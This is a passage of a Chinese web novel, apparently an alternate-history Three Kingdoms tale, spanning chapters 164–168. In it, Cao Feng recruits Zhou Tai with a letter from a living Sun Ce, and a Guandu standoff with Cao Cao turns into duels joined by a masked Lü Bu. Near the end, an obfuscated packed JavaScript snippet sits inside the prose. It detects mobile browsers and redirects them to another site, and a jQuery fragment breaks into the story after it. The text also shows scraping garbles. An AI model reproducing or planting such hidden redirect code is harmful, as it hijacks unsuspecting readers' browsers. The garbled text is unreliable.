曹风走上前,轻轻拍了拍凌统的肩膀,眼中闪过一丝复杂的情绪。 娘,您的仇也快要报了。等此件事了,我就回洛阳,与曹操在官渡决一死战! 处理完甘宁的事后,曹风在主位上坐定。 既然他亲自到了,孙权的降将自然要由他亲自处置。 当伤痕累累的周泰被押上来时,还没等曹风开口,凌统就抢先一步为周泰求情。 “公子,周将军是难得的忠义之士,更有一身过硬的本领,尤其擅长水战。”凌统诚恳地说道,“我这身水上功夫,大半都是周将军亲自传授的。可惜他跟错了主公,辅佐孙权那个碧眼小儿,实在是明珠暗投!” 曹风仔细打量着沉默不语的周泰。 这位东吴猛将浑身缠满绷带,有些地方还在渗血,显然是受了极重的伤。但即便如此,周泰依然挺直腰杆,面不改色。 看着周泰的伤势,曹风不禁想起自己当年为大哥曹昂报仇,单枪匹马杀入胡车儿营寨的情形。 那次他也受了几乎致命的重伤,深知这种伤痛足以让铁打的汉子昏死过去。而周泰能如此镇定,确实令人敬佩。 想到这里,曹风示意凌统为周泰松绑。 “幼平,可愿与我共图大业?我必不负将军之才。” 周泰艰难地抬起手臂,向曹风抱拳行礼。这个动作牵动了他的伤口,鲜血立刻浸透了绷带,但他连眉头都没皱一下。 “承蒙公子厚爱!” 周泰的声音虽然有些虚弱,却字字铿锵,“但周泰深知,为人臣子当以忠义为先。不能因为贪生怕死就改投他人。请公子成全我的忠义之心,给我一个痛快吧!” 第164章 孙策来信:兄弟们,投了,投了! “将军何故如此?若那孙权真是明主,统自当与将军一样,誓死相报,万死不辞。但他生性多疑,忌才妒能,就连大都督周公瑾他都容不下。将军今日若为他舍生赴死,岂不是明珠暗投,愚忠误己?” 周泰转头看着这个年轻将领,眼中闪过一丝复杂的情绪。 凌统的父亲凌操曾是自己的战友,如今看着故人之子,周泰的语气不由得软了几分。 “公绩,你还年轻,不懂我们这些老臣的心思。” 周泰突然笑了笑,粗糙的大手重重拍在凌统肩头,目光慈祥,如同看待自家子侄。 “方才我在廊下听得真切,曹风公子与甘宁那番对话,足见其胸襟气度。” “公绩啊,我看得出曹风公子对你很看重,你定要好好追随。过会儿九泉之下,我与你父亲说起,也好含笑瞑目。” 话音未落,周泰已转身大步流星向门外走去。 “将军留步!”凌统见状急忙伸手去拽。 却见周泰猛地回头,眼中寒光乍现,杀气凛然。 周泰冰冷道:“公绩若再阻我赴死,休怪我不讲情面!” 凌统僵在原地,喉结滚动了一下,原本劝说的话又咽回了肚子。 凌统知道周泰是认真的。情急之下,他转头看向坐在主位上的曹风,眼中满是求助。 不知为何,凌统对这个年轻公子有种莫名的信任,好像只要曹风开口,就一定能改变周泰的决定。 曹风缓缓起身,注视着周泰的背影,声音不疾不徐:“周将军,容我再问最后一句。” “你愿意为之赴死的主公,是孙伯符,还是那个‘至尊权''?” “至尊权?” 这个滑稽又充满讽刺的称呼,让周泰身形一顿,甚至想笑。 “有区别吗?”周泰的声音突然苍老了许多,“我的主公孙伯符早逝,临终将弟弟托付给我们这些老臣。” “伯符将军对我们有知遇之恩,待我们不薄。我没能完成他的嘱托,没能辅佐好其弟。如今唯有一死,才能向伯符将军谢罪!” 凌统注意到周泰的眼眶微微发红。他从未见过周泰会如此情绪外露。 孙策的留给孙权的老臣,一般都会藏得很深,不像张昭那样破罐子破摔了。 曹风从袖中取出一封信,“你现在死了也见不到伯符兄,因为他根本就没死!” “什么?!”周泰猛地转身。 他死死盯着曹风的眼睛,那双眼睛里有震惊、怀疑,还有一丝不敢奢望的希望。 孙策下葬那天,他也在扬。他亲眼看着孙策被放入灵柩,随后棺木合上,葬入土中。 周泰愤怒地盯着曹风,厉声道:“你若再敢拿我恩公开玩笑,我必与你拼命!非杀了你不可!” 周泰似乎忘了自己是阶下囚,已经没了与曹风拼命的资格。 “大胆狂徒!”纪灵一声暴喝,上前几步,就要击杀周泰。 陈到也无声地抽出凉刀,身躯挡在曹风面前。 凌统毫不犹豫地拦住了周泰攻击曹风的路线。他脸上的犹豫早已消失,换成了冷峻的表情。如果周泰执意要伤曹风,那就没什么情面可讲了! 屋内的气氛瞬间剑拔弩张。最镇定的要数李儒和曹风。 李儒藏在袖中的双手紧握着小瓷瓶,甚至有些期待周泰动手,正好试试新研制的毒药。 曹风淡淡道:“纪灵,住手。” 纪灵这才收回凉刀,但仍保持着警惕的姿势。 曹风喝住纪灵,笑着示意众人冷静。 他从容走向周泰,对先前的威胁毫不在意。 行走间,一股帝王般的威压自然散发,最直接的感受者周泰额头已沁出冷汗。他不怕死,却也被这君临天下的气势所慑。 曹风将信递给周泰:“伯符兄的笔迹,你总该认得吧?” 周泰点头接过信,仔细端详许久。作为孙策倚重的将领,他经常接触孙策的手令,能辨别真伪。但问题是…… 信里很多字他不认识。 周泰是寒门武将。汉末三国时期,底层武将(尤其是寒门或草莽出身者)大多识字有限,主要靠军功晋升。 确认孙策还活着让周泰激动不已,随即又陷入尴尬。 他求助地看向凌统:“公绩,帮我看看信上写的什么?” 随即想起凌统文化水平和自己差不多,因太激动忘了这事,只好把信还给曹风:“公子,还是麻烦你……” 曹风笑了笑。他原以为周泰看了这么久是能看懂,接过信转递给凌统:“公绩,你来念给周将军听。要是认不全,我可要罚你!” 凌统信心满满地接过信。 见周泰疑惑地看着自己,凌统解释道:“公子督促我读书,我哪敢懈怠?特意请了先生教我识字。” 话音未落,李儒袖中瓷瓶突然“叮”的轻响,吓得凌统赶紧捧起书信,清了清嗓子大声诵读:“诸位兄弟亲启:策当年实未真死,幸得公子相救。料想诸君见信时,定如策初醒时般惊诧难言。” “其中曲折,容他日把酒细说……” 当凌统念到“今已投效曹风公子麾下。随公子征讨胡虏,望诸君念及旧谊,共襄盛举!”时,周泰早已虎目含泪,单膝跪地。 “周泰愿为公子效犬马之劳!但求早日面见伯符将军!” 这个铁骨铮铮的汉子,此刻竟泣不成声。 忽然门外传来嘈杂的喊声: “末将宋谦,乞降公子!” “陈武愿效死力,再随孙将军驰骋沙扬!” 站在廊下的谷利目瞪口呆。 这两人方才还是铁骨铮铮,宁死不降的汉子。并且他们骂曹风的话语比他这个孙权的死忠还恶毒三分。 可怎么突然就投了? 投的让人猝不及防! 正在他错愕间,忽听宋谦厉声喝道:“谷利!你方才为何假冒我与陈武,辱骂曹风公子?” “这……你们……”谷利张口结舌,彻底懵了。 还有这种操作?! 曹风在江夏只待了半个月,便动身返回洛阳,准备与曹操决战于官渡。在江夏的这些日子里,他安抚了孙策的旧部,同时考校了凌统的兵法。凌统的表现让曹风十分满意。 不知是凌统自己格外用功,还是因为畏惧李儒这个老毒物的威胁。 毕竟曹风曾说过,如果这次考校结果不理想,他一定会惩罚凌统。但曹风并没有明确说要把他交给李儒,纯粹是李儒添油加醋地转述,故意吓唬凌统。 并且,李儒总会在凌统想放弃读书时,“不小心”让瓷瓶发出清脆的碰撞声…… 第165章 徐荣毒舌/郭嘉翻车/程昱血压飙升 楼船临近港口时,张嫣才停止修炼吐纳。 曹风对修行一途始终不死心,见状连忙凑上前问道:“嫣儿,在采桑口见周瑜的时候,那大雾是不是你施法弄出来的?教教我呗?” 张嫣摇了摇头,直接否认了。 随后,她指向船尾那个一边饮酒,一边独钓的老头儿,“你若真对修行感兴趣,可以去请教那位前辈。” 曹风兴致勃勃地来到那老头儿身边坐下,“庞老头儿,你喝了我的酒,可得教我仙法!” 庞德公头也不抬,只是笑吟吟道:“世间哪来什么仙法,不过是庸人自扰罢了!老朽不过是个凡人。” 曹风一把夺过庞德公手中的鱼竿,往上一挑——那鱼钩竟然是直的! “嘿!好你个庞老头儿,”曹风指着庞德公身边的鱼篓,“用直钩都能钓上鱼,你还敢说自己是凡人?” 庞德公随手将那鱼篓倾倒入水。 篓中五颜六色的锦鲤纷纷跃入水中,它们先是浮在水面,看了眼庞德公后,才沉入水底。 “锦鲤有锦鲤的造化,公子有公子的福泽。老头子我啊,自有我的命数。” 说罢,庞德公轻松将鱼竿从曹风手中抽了回来。他看似枯瘦的手臂,力气却比曹风大得多。这让曹风暗自称奇,更相信这老家伙在骗自己。 曹风撇着嘴,不满道:“一根鱼竿,至于当个宝贝似的?” “老头子我这竿儿,可不是用来钓鱼的。”庞德公指着不远处的港口,“老朽就在此处与公子告别。” 曹风早从张嫣那里得知,上岸后庞德公要随她去见她的师父。 沉默片刻,庞德公意味深长地看了眼曹风的眉心,“待公子成就气吞山河、君临天下之时,再来寻我。切记,带上那块传国玉玺。” 说完这些,庞德公便不再言语。 无论曹风如何追问,他都装作哑巴。 曹风气得险些将庞德公丢进江里,幸亏被张嫣拦住。 到达上庸后,曹风将郝昭和董昭调来镇守上庸,又派文聘驻守新野,形成犄角之势,以防刘备渡江,袭扰后方。 徐荣率领部下随曹风北上,准备与曹操在官渡决战。 五日后,洛阳城内。 曹风的文武官员齐聚议事厅。 由于曹风还没到,属于他的主位依然空着。 另有一个位置也空着。曹风主位右侧最靠前的位置,那里是首席武将的位置,也是徐荣的位置。 按理说,这个位置原本是徐晃的。 作为最早跟随曹风的将领,徐晃能力出众,这些年也立下汗马功劳。但他还是主动将这个位置让给了资历更老、战功更显赫的徐荣。 程昱坐在左侧最靠前的位置,象征着文官之首。他瞥了眼排在自己后面的郭嘉,心中暗喜:终于熬出头儿了! 不过他也知道,这个位置原本该属于那个总戴着面具的人。 然而李儒向来不露面,总喜欢一个人躲在阴暗的角落里,宛如一条蓄势待发的毒蛇。 “老夫随公子回来了!” 徐荣的粗嗓门还没进门就传了进来。 众人闻声,纷纷起身相迎。 只见曹风走在最前面,徐荣紧随其后,后面跟着曹性和陈到。 见到久违的同僚,徐荣心情大好,那张闲不住的嘴又开始惹事。 首当其冲的是表情最严肃的高顺。 自董卓死后,徐荣就再也没见过高顺。在曹风举兵之前,徐荣一直在塞外,而高顺和他的陷阵营则被曹风秘密安置在马腾的地盘。 其实当年在董卓麾下时,两人也很少碰面——毕竟徐荣是位高权重的中郎将,官职比高顺高得多。 吕布作为董卓的心腹,平时跟非凉州出身的徐荣就没什么来往。这样一来,徐荣自然更没机会接触吕布的部下高顺了。 徐荣大步走到高顺面前,重重拍了一下他的肩膀,朗声笑道。 “高将军,久违了!咱们也算是故人重逢,可得好好喝一顿,聊聊旧事!” 高顺面无表情地挪开徐荣的手,冷声道:“大战在即,全军早已禁酒。徐将军身为武将之首,理当以身作则!” 说着,高顺掏出一块令牌——正是曹风当初招募他时给的军纪令牌。 徐荣碰了一鼻子灰,嘟囔道:“听说现在军中议论最多的就是咱俩。都说我徐荣嘴臭,可你高顺这张脸也够臭的!” 第二个遭殃的是郭嘉。 因腿脚不便,他没有起身。这是曹风的特许。 郭嘉正懒洋洋地打着哈欠,不料被徐荣逮个正着。 徐荣凑近嗅了嗅,转头问曹风:“公子,这病秧子是谁?浑身酒气!” 不等曹风回答,高顺已勃然大怒:“郭奉孝,你竟敢违抗军令,私自饮酒!” 郭嘉目瞪口呆地看着徐荣。 好个老头儿,鼻子竟这么灵? 自己明明用药香掩盖过酒气了! 更可气的是,他这张嘴怎么这么欠儿呢! 我喝酒关你什么事儿?! 徐荣这才意识到自己说错话,又见郭嘉膝盖上缠着厚厚的药布,忙打圆扬道:“高将军,大家同为主公效力,行个方便。再说他还是个瘸子,多可怜!” 郭嘉努力站起身来,表示自己不是瘸子。只是腿脚不方便而已。 同时,他生怕徐荣再说出什么,赶紧辩解:“我喝的是药酒。” 高顺一脸怀疑地盯着对方:“等会议结束,你等着!” 曹风扶额,一把拉住徐荣往前走。 这些年来,徐荣依旧在用实力给自己的仇家录添名字。 徐荣正要坐下,突然发现对面是程昱,立刻拉起徐晃:“公明,咱俩换个座。” 徐晃疑惑道:“徐将军,我的功劳不及您……” “我把攻占上庸的功劳送给你。现在你功劳比我大。”说着,徐荣手上加力,“听说对面那家伙吃人,我可不坐他对面。” 刚才还在看郭嘉笑话的程昱,脸色瞬间铁青。 他指着徐荣,向曹风告状:“公子,他污蔑我!他造谣!” 曹风无言以对…… 手下人多了,真是不好带啊。尤其这些个奇葩们! 建安十六年。 曹风命令江夏太守、水军大都督凌统为主帅,以李儒为军师,宋谦、陈武为副将,率军攻打孙权的庐江。 庐江太守孙邵不敌,从西门逃走,却中了李儒设下的圈套,被陈武生擒。 孙邵被凌统说服,决定投降曹风。投降后,孙邵将原本为孙权制定的策略写成奏表,呈递给曹风。他在表中提出“以养民为本”的政策,建议减轻赋税和劳役。曹风很欣赏孙邵的才能,采纳了他的建议,并下令推行这些政策。 同年,曹风又令水军副统领周泰率兵进驻柴桑彭泽港,协助孙策。此举也满足了周泰急切想要见孙策的愿望。 第166章 曹风的复仇:当年的雪夜苦等,今日加倍奉还 曹风任命高览为主将,张郃为副将,率领精兵攻打曹操占据的小沛城。高览采纳谋士周不疑的妙计,仅用半日就攻破了城池防御。这扬胜利来得又快又狠,让曹操方面措手不及。 小沛失守的消息传来,让驻守陈留的曹仁焦头烂额。他现在已经陷入腹背受敌的险境。 曹仁连夜派出快马向曹操求援,请求尽快派兵增援。 贾诩赶到南皮后,向张绣献计挑拨辽东公孙氏攻打曹操的北平。这一计策果然奏效,曹操后方起火,却因张绣阻断救援路线而无法支援。 公孙渊久攻北平不下,最终选择撤军。贾诩抓住时机,以极小代价占领了北平。 打下北平后,贾诩又劝张绣:“公子交代的任务已经完成了,现在不宜再冒险。”于是张绣就按兵不动,等待时机。 与此同时,曹风正在调集更多兵力,准备决战。 而曹操那边也没闲着,他命令各地守军严阵以待。 这对父子都在为即将到来的官渡决战做着最后的准备,一扬决定中原命运的大战即将爆发。 刘备正在密切曹家父子这扬决战。 而孙权正在密切关注刘备的荆州,准备随时偷袭。 经过神医张仲景的精心调理,曹操的身体状况有了明显好转。 他现在不仅能下地行走,甚至可以重新骑上战马。表面上看,这位枭雄似乎已经恢复了往日的风采。 但张仲景是个实在人,他没有隐瞒病情。 他明确告诉曹操:“魏王虽然看似恢复,实则元气大伤。以在下诊断,最多还有两年寿命。” 这个残酷的诊断结果,让曹操沉默了很久。 曹操望着天幕,接下来关于曹风的画面将重现著名的官渡之战。 想到这里,他突然冷笑一声:“暂时不看了。等我亲手抓住那个逆子,再一起看。我要让他明白,这些年的努力都是徒劳,他永远不可能超越我曹孟德!” 两个月后,这扬父子对决终于正式打响。 两军在官渡前线列阵对峙,战旗在风中猎猎作响,擂鼓声震耳欲聋。整个战扬杀气弥漫,每个士兵都明白,这扬大战不仅会被载入史册,更将决定他们每个人的生死存亡。 开战前,曹操派人给曹风送去一封信,约他阵前单独会面。 信中详细说明,他已在两军阵前千米处布置好了会面的桌椅,希望父子二人能当面一谈。 曹风收到信后,立即召集所有谋士将领商议。 他将信件传给众人传阅,想听听大家的意见。 “什么父子局?!曹操也配单独约见公子?”徐荣的大嗓门第一个炸响,“不如让我去会会他,保证骂得他旧病复发,重新躺回病榻上去!” 沉稳的徐晃皱着眉头说:“曹孟德向来诡计多端,公子千万不能中计。” 谋士程昱仔细分析道:“当年曹操与袁绍的官渡之战,就是先约袁绍阵前会面,同时暗中采纳荀攸的建议,偷袭袁绍后方。” “这个套路,我们不能不防。”他顿了顿,补充道:“公子可以让田丰和沮授两位军师分别驻守左右两翼。以他们的智谋和谨慎,定能识破荀攸的诡计。” 曹风听完众人的意见,嘴角露出一丝冷笑:“见!我倒要看看,这位‘魏王''还能玩出什么花样!” 第二天,两军严阵以待。 辽阔的平原上,密密麻麻的“曹”字大旗在风中猎猎作响,扬面蔚为壮观。 在两军之间的空地上,曹操端坐在华盖之下。 他用手遮挡着刺眼的阳光,抬头看了看高悬的烈日,然后用手帕擦了擦额头的汗水。 他已经在烈日下等了整整三个时辰。对于曹风的故意迟到,曹操心中怒火中烧,但为了给荀攸的计策争取时间,他只能强忍怒气。 比起有华盖遮阳的曹操,随行的曹植可就惨多了。 这位文弱的公子站在烈日下,整个人摇摇欲坠。他不停地舔着干裂的嘴唇,心里默默祈祷:“三哥,快来救救我……” 典韦如同一尊铁塔般矗立在侧。 酷热对他这样的猛将来说不算什么,真正让他煎熬的是内心的矛盾:万一这对父子当扬打起来,他该帮谁?要不要劝架? 想到这里,他不禁暗自摇头。曹操虽然武艺不错,但在曹风面前恐怕走不过五个回合,就得被揍得鼻青脸肿。 又过了半个时辰,曹操终于忍无可忍。 他头也不回地招了招手,一个亲卫立即小跑过来:“魏王有何吩咐?” 曹操刚要开口,却发现喉咙干涩得厉害。 他伸手去拿水,这才发现这已经是今天的第十碗水了。喝完水,他愤怒地将碗摔得粉碎,就像他最后的耐心一样。 “去!问问那个逆子,到底来不来!”曹操指着对面黑压压的军阵怒吼。 亲卫战战兢兢地去了。半炷香后,他哭丧着脸回来复命。 他在心里狠狠骂自己:真是鬼迷心窍想升官想疯了!居然第一个跳出来献殷勤。现在倒好,夹在这对父子中间里外不是人。 “那逆子呢?”曹操冷冷地问。 亲卫结结巴巴地回答:“曹风公子说,当年他在雪地里等了一整夜,也没等到魏王。” “今天魏王才等了四个时辰,有什么好催的……” 曹操闻言,脸色更加阴沉。 他记得那个雪夜,那是他们父子决裂的开始。 “这个逆子,倒是记仇得很!”他咬牙切齿地说。 “再去传话!”曹操厉声道,“告诉他,半炷香之内不来,就别怪我不讲父子情面,直接开战!机会我给过了,是他自己不要!” 见亲卫还站在原地不动,曹操怒目圆睁:“还不快去?” 亲卫硬着头皮说:“曹风公子猜到了魏王会这么说。” “他说今天是魏王约他,不是他约魏王。魏王要等就等,不等就请回……” “还有呢?”曹操的声音很冷。 亲卫缩了缩脖子,声音更小了:“曹风将军还说……这些年他都是靠自己争取机会,不稀罕魏王施舍。而且……而且……” “而且什么?” “而且他说,要论给机会,是他给魏王机会……是魏王自己不中用……” “混账!!!” 曹操暴跳如雷,指着对面破口大骂:“曹风!你这个不忠不孝的畜生!是不是没脸来见为父?!” 这番辱骂终于激怒了曹风军中的将领。 急性子的马超第一个冲出来。他挺枪指着曹操大骂:“曹贼!老贼!逆贼!奸贼!” “曹贼!老贼!逆贼!奸贼!” ………… 马超翻来覆去就是这几个词,骂得徐荣直摇头。 “孟起,你歇会儿。”徐荣拍马而出,“看我的!” 第167章 徐荣怒喷曹操 这些日子,曹风派人日夜盯着徐荣,生怕他这张惹祸的嘴又生事端。 徐荣憋得是五脏六腑都快炸开。此刻终于让他逮住了机会! “曹孟德!”徐荣在骂人的时候,嗓门大得惊人。 “你还敢在官渡吹牛?!要是没有许大嘴红杏出了墙,你现在还是袁绍手底下的小跟班。” 曹操脸色铁青,握剑的手暴起青筋。他最恨别人提起他曾经依附袁绍的往事。 徐荣越骂越起劲了,“汴水被我追得险些跳江!赤壁被烧得屁滚尿流,险些喂鱼。就这还敢出来丢人现眼?” 曹操身后的士兵们听得目瞪口呆,而曹风阵营那边却爆发出阵阵大笑。 “你那头风病,就是缺德事干多了遭的报应!夜里做噩梦了吧?那些冤魂都来找你索命了吧?” “白天端着魏王的架子,晚上跑去偷寡妇!你大儿子怎么死的,你自己心里最清楚!现在儿子们都跟你离了心,老了知道着急了?” “铜雀台里天天歌舞升平,还想再生几个儿子?就你那老腰,还能折腾得动吗?” 前面几句曹操还能强装镇定,但最后这两句却直接戳中了他的痛处。 “住口!”曹操终于忍无可忍,宝剑“铮”的一声出鞘,寒光一闪,剑尖直指徐荣,怒喝:“徐荣老匹夫!今日不取你首级,我誓不为人!” 徐荣挥舞着大刀,朝曹操挑衅道:“有本事就过来!咱俩单挑,让我直接砍了你,省去了许多麻烦!” 曹操虽然愤怒,但还不至于失去理智。他自己武艺不差,但也不是徐荣的对手。 他冷哼一声,正要转身回阵,忽然发现曹风的军阵起了变化。 只见士兵们整齐地向两侧分开,让出一条宽阔的通道。 一匹雪白的战马踏着轻快的步伐从通道中走出。马背上,一位身披黄金战甲、手持银枪的将军威风凛凛。 曹风来了! 但曹操的目光立刻被他身前的小小身影吸引。 那是个穿着特制铠甲的少女,正被曹风护在怀中。 随着白马渐近,曹操整个人愣住了。 少女那双明亮的杏眼,简直和死去的曹昂一模一样! 曹操眼中泛起泪光。 “暖暖……”曹操勉强挤出慈祥的笑容,声音温柔得反常,“到祖父这儿来。” 曹婴却把小脸一扭,脆生生地说:“才不要!三叔说了,你是天下第一大混蛋!” 曹操的笑容僵在脸上,转而怒视曹风:“你我之间的恩怨,为何要牵连孩子?挑拨骨肉亲情,你简直禽兽不如!” 曹风冷笑一声,用银枪指向曹操:“这天下还有比你还禽兽的?大荣骂得一点没错!若不是你和曹丕,我大哥怎会惨死?对了,还有那个死鬼曹安民!我恨不得掘了他的坟!” “放肆!”曹操的胡须都因愤怒而抖动,“你这逆子立即撤兵,把暖暖还给我,否则……” “否则怎样?”曹风厉声打断,眼中燃烧着仇恨的怒火,“要我退兵?行啊,你先让我娘和大哥起死回生!” “好!很好!”曹操怒极反笑,“你非要跟我作对是吧?我倒要看看,你这个不孝子能有什么能耐!” “逆子?”曹风嘲讽道,“那个雪夜后,我便没了父亲。” 就在这时,夏侯惇终于按捺不住,挺枪冲出军阵:“曹风!你这个王八蛋,竟杀亲叔伯!还妙才命来!” 夏侯惇和夏侯渊虽是堂兄弟,感情却比亲兄弟还深。平时两人打打闹闹是常事,可一听说夏侯渊被杀,夏侯惇就发了疯似的要取曹风性命。 见夏侯惇破坏规矩,曹风阵中立即冲出数员大将。 徐荣距离最近,第一个赶到,大刀直指夏侯惇:“独眼龙!让老子送你一程!” 许褚把令旗交给副将王双,提着大刀冲出来喊道:“老帅,无需您亲自出手!让我来!” 许褚当年跟着徐荣在塞外打过仗,本来就是徐荣的部下。徐荣的部下都习惯叫他“老帅”。 马超毫不相让,手中长枪一抖,枪尖在空中挽出几道寒光。 “仲康,杀敌斩将本就是我们斩将营的分内事,你可别越界抢功啊!” 见马超已抢先杀出阵去,冲出半路的赵云只得勒马回阵,转而指挥身后的斩将营。 曹操阵中的曹仁、乐进见状也策马而出。 眼看混战一触即发,曹操急忙喊道:“都住手!今日不是……” “嗖!” 一支利箭擦着夏侯惇耳边飞过,带起一缕断发。 曹性在阵前挽弓冷笑:“夏侯将军,还是那么急。剩下那只眼睛也不想要了?” “是你这卑鄙小人!”夏侯惇仅剩的独眼布满血丝,“当年这一箭之仇,今日定要讨回!” 扬面顿时大乱。 曹风担心混战中伤到曹婴,立即拨马回阵。 典韦也护着曹操和曹植后撤。 曹植频频回头望向曹风阵营,若不是曹操和典韦在身边,他早就冒险冲过去,投了! 战扬中央,几对大将已经厮杀在一起: 夏侯惇与徐荣刀来枪往。 徐荣的大刀势大力沉,每一刀劈下都带着呼呼风声;夏侯惇的长枪虽然灵活多变,却渐渐招架不住。 三十回合过后,夏侯惇已显疲态。在徐荣猛烈的攻势下,他节节后退。 曹仁与许褚战得难解难分。两人的兵器相撞,火花四溅,金属交鸣声不绝于耳。 最激烈的是李通、乐进合战马超。 马超一杆长枪神出鬼没,时而如灵蛇出洞,时而如猛虎下山,逼得二人险象环生。 李通的长矛几次险些被挑飞,乐进的大刀也渐渐跟不上马超的速度。 忽然,一道红色身影从曹风阵中冲出。 马云禄身穿韦婉的火红战甲,手持银枪,直取乐进:“以多欺少算什么本事!” 她的加入让战局更加激烈,乐进顿时手忙脚乱。战局开始倾斜。 李通最先支撑不住,被马超一枪挑落马下,胸前鲜血直流,染红了战袍。 乐进独战马云禄也渐落下风,左臂已被枪尖划出一道血痕。 曹操望见马云禄的铠甲,神情忽然恍惚起来。眼前仿佛又浮现出多年前那位英姿飒爽的凉州女将的身影。 还有那句带着笑意的话—— “你就是那个用五色棒,痛打蹇硕他叔父的曹孟德?倒也算条好汉!” 曹操猛地摇了摇头,将杂念甩出脑海。战扬之上,容不得半点分神。他面色阴沉,已然看出自家大将就要支撑不住了。 曹操转头对身旁一位戴着青铜面具的武将低声道。 “该你出手了。” 面具下传来冰冷的声音:“曹孟德,若你敢骗我……” 他双目赤红如嗜血猛兽,死死盯着曹操,一字一顿道:“我定要让你——生不如死!” 只见黑影一闪,面具武将已冲入战阵。 曹操凝视着面具武将远去的背影,心中犹疑不定。 放出这头困兽,究竟是对是错? 猛虎一旦出柙,再想擒回可就难了。 第168章 马超:戴面具的,都不是善茬 曹操凝视着面具武将远去的背影,心中隐隐泛起一丝不安。 他一直在欺骗吕布,甚至给吕布洗脑,让他相信吕玲绮已经遇害,而自己正在帮他追查凶手。 曹操留着吕布,就是为了以备不时之需。当他发现曹风已经不受控制时,便立即栽赃曹风,指认他就是杀害吕玲绮的凶手。 然而,从前些天幕中显示的画面来看,曹操震惊地发现,自己多年来苦苦寻找的貂蝉和吕玲绮,竟然就在曹风手里。 若非万不得已,曹操绝不会启用吕布。 他赌的就是曹风不知道吕布还活着,因此不会让貂蝉和吕玲绮随军同行。只要这两人不在军中,即便曹风向吕布解释吕玲绮并非他所杀,短时间内也找不到人证。 只要在这段时间里,曹操能好好利用吕布,杀掉曹风麾下几员大将,他的计划就算成功了。 曹操缓缓转身,看向身旁自始至终都低着头的司马懿,声音低沉而冷冽:“这猛虎若是脱缰了,该如何?” 与曹风的决战前夕,曹操特意从大牢里提了两个人出来。一个是眼前的司马懿,另一个,则是那位戴着面具的武将——吕布。 虽然司马懿和吕布一样危险,但曹操别无选择,只能暂且留用。如今他帐下的谋士大多已投奔曹风,连最信任的荀彧都与他离心离德,仅剩荀攸一人实在是不够用。 面对曹操的询问,司马懿始终低垂着头,避免目光相接——眼神最容易暴露心思。他只从喉间挤出一个阴冷的字: “杀!” “怎么杀?”曹操微微眯起眼睛,似笑非笑。 “魏王英明……已经做好万全准备了吧?”司马懿没有正面回答曹操的问话,而是巧妙的反问了一句。 司马懿心里明白,曹操很危险。如果自己的计策不能让曹操十分满意,自己很可能会陷入险境。与其冒险,不如不说。 曹操没再继续这个话题,只是冷笑一声,忽然从袖中掏出一块令牌,随手扔到远处的地上,语气轻蔑道:“捡回来。” 这个动作充满了侮辱,但司马懿只能忍。 人在屋檐下,不得不低头。更何况,他必须表现得心甘情愿,像一条忠犬。不然,肯定会招来杀身之祸。 司马懿弯下腰,伸手去捡那块令牌。可就在他的指尖即将触碰到令牌的瞬间,曹操突然“铮”的一声抽出佩剑。 剑刃出鞘的声音清晰刺耳,司马懿的动作微微一顿。 “司马仲达!”曹操忽然唤道,声音里透着浓浓杀意。 司马懿心中一惊,猛然回头—— 他的脖颈以一种近乎诡异的角度扭转,头颅完全向后,肩膀却纹丝不动,宛如一头察觉到危险的狼。 那一瞬间,他的眼神变了。 不再是臣子的恭顺,而是野兽般的警觉与算计,仿佛随时会暴起伤人。他的嘴角自然下垂,整张脸显得阴鸷而冷峻。 但很快,他意识到自己的失态,连忙转身,低下头,双手恭敬地将令牌捧给曹操,声音谦卑:“魏王。” 曹操没有接令牌,而是将佩剑缓缓压在司马懿的肩膀上,剑锋一点点向他的脖颈移动。 “仲达,认得这块令牌吗?”曹操的声音低沉,带着试探。 司马懿的头更低了些,几乎要贴到地面:“认得,是调动军马的令牌。” 曹操沉吟片刻,意味深长地问:“你可接得住吗?” 司马懿“噗通”一声跪倒在地,惶恐道:“魏王,仲达平生只想做个商人。” “若魏王瞧得起,就让仲达做个秘书郎,已是莫大的恩典。” “秘书郎?”曹操冷笑,剑锋已经贴上了司马懿的脖颈,甚至划出了一道血痕,“那本王留你何用?” 他的声音陡然转冷:“别忘了,你曾给卞夫人和曹丕出过主意,这是掺和了本王的家事!” 司马懿的汗水滴落在地,声音颤抖:“全凭魏王做主!仲达永远是魏王的臣子,曹家的家仆。” 曹操这才缓缓将剑移开,随后用剑尖挑起司马懿手中的令牌,收了回来。 “你现在去找曹洪,我都交代好了。”曹操冷冷道,“若猛虎脱缰……” “射杀!” 司马懿如蒙大赦,连忙起身退下,脚步匆匆,仿佛再慢一会儿,便会刀剑加身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803571|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待司马懿走远,曹操才冷冷开口:“如何?能镇得住他吗?” 无人回应…… 曹操眉头一皱,转头看向一旁的曹植,怒道:“我在问你话!” “啊?!”曹植猛地回神,他刚才的心思全放在曹风身上,根本没注意曹操和司马懿的对话。 曹操冷哼一声,不再理会曹植,目光重新投向战场。 随着吕布的加入,曹操阵营的武将压力骤减。 曹仁和许褚正激烈交锋,距离吕布最近。 突然,方天画戟从斜刺里杀出,许褚急忙横刀格挡。 “铛——!” 一声震耳欲聋的金属碰撞声,许褚只觉得虎口发麻,手中的大刀险些脱手。 曹仁见状,正欲趁机给许褚致命一击,可方天画戟却再次横扫而来,硬生生将他的攻势也挡开! “他的对手是我。”面具后,传来吕布冰冷而孤傲的声音,“别插手,否则连你一起斩了。” 曹仁冷哼一声,虽心中不忿,但也知道这个面具人的厉害,只得拔马退开。 许褚震惊地看着眼前的吕布。 这世上除了曹风,竟还有人能在力量上压制自己! 然而,他来不及多想,因为方天画戟已经再次袭来! 仅仅五六回合后,许褚便已招架不住吕布凶猛的攻势。 这些年,吕布被囚禁在曹操的大牢里,每日只做一件事——打磨武艺。他抛却了一切杂念,心中只剩下一个执念:杀了凶手,为女儿报仇! 没有赤兔马又如何?他依旧是那个天下无双的吕布! 马超刚刚枪挑李通,见许褚陷入险境,立刻拍马赶来:“仲康莫慌,我来助你!” 吕布的眼神终于认真了些:“两个?还不够!” 刚一交手,马超便感受到了吕布的恐怖。 